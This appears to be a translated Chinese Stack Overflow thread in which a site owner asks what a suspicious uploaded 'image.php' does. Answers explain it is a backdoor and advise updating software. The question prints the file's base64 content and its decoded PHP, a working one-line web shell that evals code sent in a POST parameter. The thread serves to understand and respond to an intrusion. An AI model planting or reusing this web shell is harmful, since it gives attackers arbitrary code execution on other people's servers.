base64编码的$ _POST ['e']变量上的eval实际上做了什么?

时间:2010-11-22 12:55:10

标签: php security eval

好的,这就是我用Google搜索的内容:

似乎有一个名为“image.php”的上传文件上传到qcubed目录。

该image.php文件包含以下base64代码:

aWYoaXNzZXQoJF9QT1NUWydlJ10pKWV2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbJ2UnXSkpO2VjaG8gJzMxMzkzNjJlMzIzMzMxMmQzMTM3MzIyZTMyMzgzYTY5NjY2MTYzNjU3MjZkNzA3NTYyNmQ2OTYzNjUzYTYxNjY2MTYzMzQzMjY1NzI2OTMwMzInOw==

解码它增加了这个:

if(isset($_POST['e']))

eval(base64_decode($_POST['e']));

echo '3139362e3233312d3137322e32383a6966616365726d7075626d6963653a6166616334326572693032';

搜索输出的字符串我在其他网站上发现了simillar qcubed漏洞。

解码我得到的最后一个回音字符串:

196.231-172.28:ifacermpubmice:afac42eri02

我真的不明白它的作用(使用:http://ostermiller.org/calc/encode.html)。

你能解释一下我在这里面对的具体情况吗? 我应该解决哪些安全漏洞才能解决这个问题?

2 个答案:

答案 0 :(得分:5)

该脚本将执行从e POST变量获取的任何PHP代码,这当然是一个可怕的,最危险的漏洞。

echo语句可能确认攻击脚本是否安装了正确的版本或其他内容。

但是,如果image.php文件实际上可以在该目录中执行,那么这只是危险的。在不知道文件首先到达那里的情况下,很难给出建议。

答案 1 :(得分:2)

最有可能是脚本小子使用exploit来侵入您的网站。确保您的PHP应用程序和库是最新的。